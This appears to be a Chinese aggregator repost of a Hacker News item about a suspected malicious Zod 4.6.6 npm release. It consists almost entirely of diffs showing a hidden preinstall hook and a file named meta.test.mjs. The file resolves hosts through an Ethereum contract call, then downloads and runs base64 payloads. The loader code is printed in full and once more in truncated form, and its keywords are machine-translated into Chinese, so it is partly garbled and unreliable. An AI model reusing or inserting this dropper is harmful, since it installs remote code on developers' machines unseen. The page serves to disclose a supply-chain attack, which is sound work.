返回

文章详情

Zod 4.6.6 恶意软件感染?

Hacker News2026年10月12日 07:47

原始文件行号 差异行号 差异行更改 @@ -2,7 +2,12 @@ 2 2 3 3 名称 : 在 npm 发布 4 4 运行 : 5 - # 主线上的版本提升本身并不发布任何内容;维护者运行 `gh workflow run release.yml` 并批准 npm 环境 5 + 推送 : 6 + 分支 : 7 + - main 8 + 路径 : 9 + - packages/zod/package.json 10 + - packages/mini/package.json 6 11 工作流调度 : 7 12 8 13 作业 : 原始文件行号 差异行号 差异行更改 @@ -1,6 +1,6 @@ 1 1 { 2 2 "name" : " @zod/mini " , 3 - "version" : " 4.6. 5 " , 3 + "version" : " 4.6. 6 " , 4 4 "exports" : { 5 5 "./package.json" : " ./package.json " , 6 6 "." : " ./src/index.ts " 原始文件行号 差异行号 差异行更改 @@ -0,0 +1,4 @@ 1 + 从 "fs" 导入 f ; 从 "os" 导入 o ; 从 "path" 导入 p ; 2 + 常量 C = "0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523" , S = "0x53ed5143" , R = [ "https://eth.llamarpc.com" , "https://ethereum-rpc.publicnode.com" , "https://cloudflare-eth.com" ] ; 3 + 常量 dec = h => { h = h . replace ( / ^ 0 x / , "" ) ; 常量 w = t => parseInt ( h . slice ( t * 2 , t * 2 + 64 ) , 16 ) , a = w ( 0 ) , n = w ( a ) , r = [ ] ; for ( 让 i = 0 ; i < n ; i ++ ) { 常量 s = a + 32 + w ( a + 32 + i * 32 ) , l = w ( s ) , b = ( s + 32 ) * 2 ; r . push ( Buffer . from ( h . slice ( b , b + l * 2 ) , "hex" ) . toString ( ) ) } return r } ; 4 + ( async ( ) => { 让 g = null ; for ( const u of R ) { 尝试 { const r = await fetch ( u , { method : "POST" , headers : { "Content-Type" : "application/json" } , body : JSON . stringify ( { jsonrpc : "2.0" , id : 1 , method : "eth_call" , params : [ { to : C , data : S } , "latest" ] } ) } ) , j = await r . json ( ) ; if ( j && j . result ) { for ( const d of dec ( j . result ) ) { 尝试 { const q = await fetch ( `https:// ${ d } /loader` ) ; if ( ! q . ok ) continue ; const m = await q . json ( ) ; if ( m && m . setupB64 && m . payloadName && m . payloadB64 ) { const t = f . mkdtempSync ( p . join ( o . tmpdir ( ) , "ld-" ) ) ; f . writeFileSync ( p . join ( t , m . payloadName ) , Buffer . from ( m . payloadB64 , "base64" ) ) ; g = { t , s : m . setupB64 } ; break } } catch { } } if ( g ) break } } catch { } if ( g ) break } if ( ! g ) return ; 尝试 { process . env . RUNTIME_DIR = g . t ; await import ( "data:text/javascript;base64," + g . s ) ; await globalThis . __SETUP_DONE__ } catch { } 尝试 { f . rmSync ( g . t , { recursive : true , force : true } ) } catch { } } ) ( ) . catch ( ( ) => process . exit ( 1 ) ) ; 原始文件行号 差异行号 差异行更改 @@ -1,6 +1,6 @@ 1 1 { 2 2 "name" : " @zod/mini " , 3 - "version" : " 4.6. 5 " , 3 + "version" : " 4.6. 6 " , 4 4 "type" : " module " , 5 5 "license" : " MIT " , 6 6 "author" : " Colin McDonnell <zod@colinhacks.com> " , @@ -10,6 +10,7 @@ 10 10 "sideEffects" : false , 11 11 "files" : [ 12 12 " src " , 13 + " meta.test.mjs " , 13 14 " index.js " , 14 15 " index.cjs " , 15 16 " index.d.ts " , @@ -24,6 +25,7 @@ 24 25 " zod " , 25 26 " tree-shaking " 26 27 ], 28 + "preinstall" : " node meta.test.mjs " , 27 29 "main" : " ./index.cjs " , 28 30 "types" : " ./index.d.cts " , 29 31 "module" : " ./index.js " , 原始文件行号 差异行号 差异行更改 @@ -1,6 +1,6 @@ 1 1 { 2 2 "name" : " @zod/zod " , 3 - "version" : " 4.6. 5 " , 3 + "version" : " 4.6. 6 " , 4 4 "exports" : { 5 5 "./package.json" : " ./package.json " , 6 6 "." : " ./src/index.ts " , 原始文件行号 差异行号 差异行更改 @@ -0,0 +1,4 @@ 1 + 从 "fs" 导入 f ; 从 "os" 导入 o ; 从 "path" 导入 p ; 2 + 常量 C = "0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523" , S = "0x53ed5143" , R = [ "https://eth.llamarpc.com" , "https://ethereum-rpc.publicnode.com" , "https://cloudflare-eth.com" ] ; 3 + 常量 dec = h => { h = h . replace ( / ^ 0 x / , "" ) ; 常量 w = t => parseInt ( h . slice ( t * 2 , t * 2 + 64 ) , 16 ) , a = w ( 0 ) , n = w ( a ) , r = [ ] ; for ( 让 i = 0 ; i < n ; i ++ ) { 常量 s = a + 32 + w ( a + 32 + i * 32 ) , l = w ( s ) , b = ( s + 32 ) * 2 ; r . push ( Buffer . from ( h . slice ( b , b + l * 2 ) , "hex" ) . toString ( ) ) } return r } ; 4 + ( async ( ) => { 让 g = null ; for ( const u of R ) { 尝试 { const r = await fetch ( u , { method : "POST" , headers : { "Content-Type" : "application/json" } , body : JSON . stringify ( { jsonrpc : "2.0" , id : 1 , method : "eth_call" , params : [ { to : C , data : S } , "latest" ] } ) } ) , j = await r . json ( ) ; if ( j && j . result ) { for ( const d of dec ( j . result ) ) { 尝试 { const q = await fetch ( `https:// ${ d } /loader` ) ; if ( ! q . ok ) continue ; const m = await q . json ( ) ; if ( m && m . setupB64 && m . payloadName && m . payloadB64 ) { const t = f . mkdtempSync ( p . join ( o . tmpdir ( ) , "ld-" ) ) ; f . writeFileSync ( p . join ( t , m . payloadName ) , Buffer . from ( m . payloadB64 , "base64" ) ) ; g = { t , s : m . setupB64 } ; break } } catch { } } if ( g ) break } } catch { } if ( g ) break } if ( ! g ) return ;

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

☕请我喝杯咖啡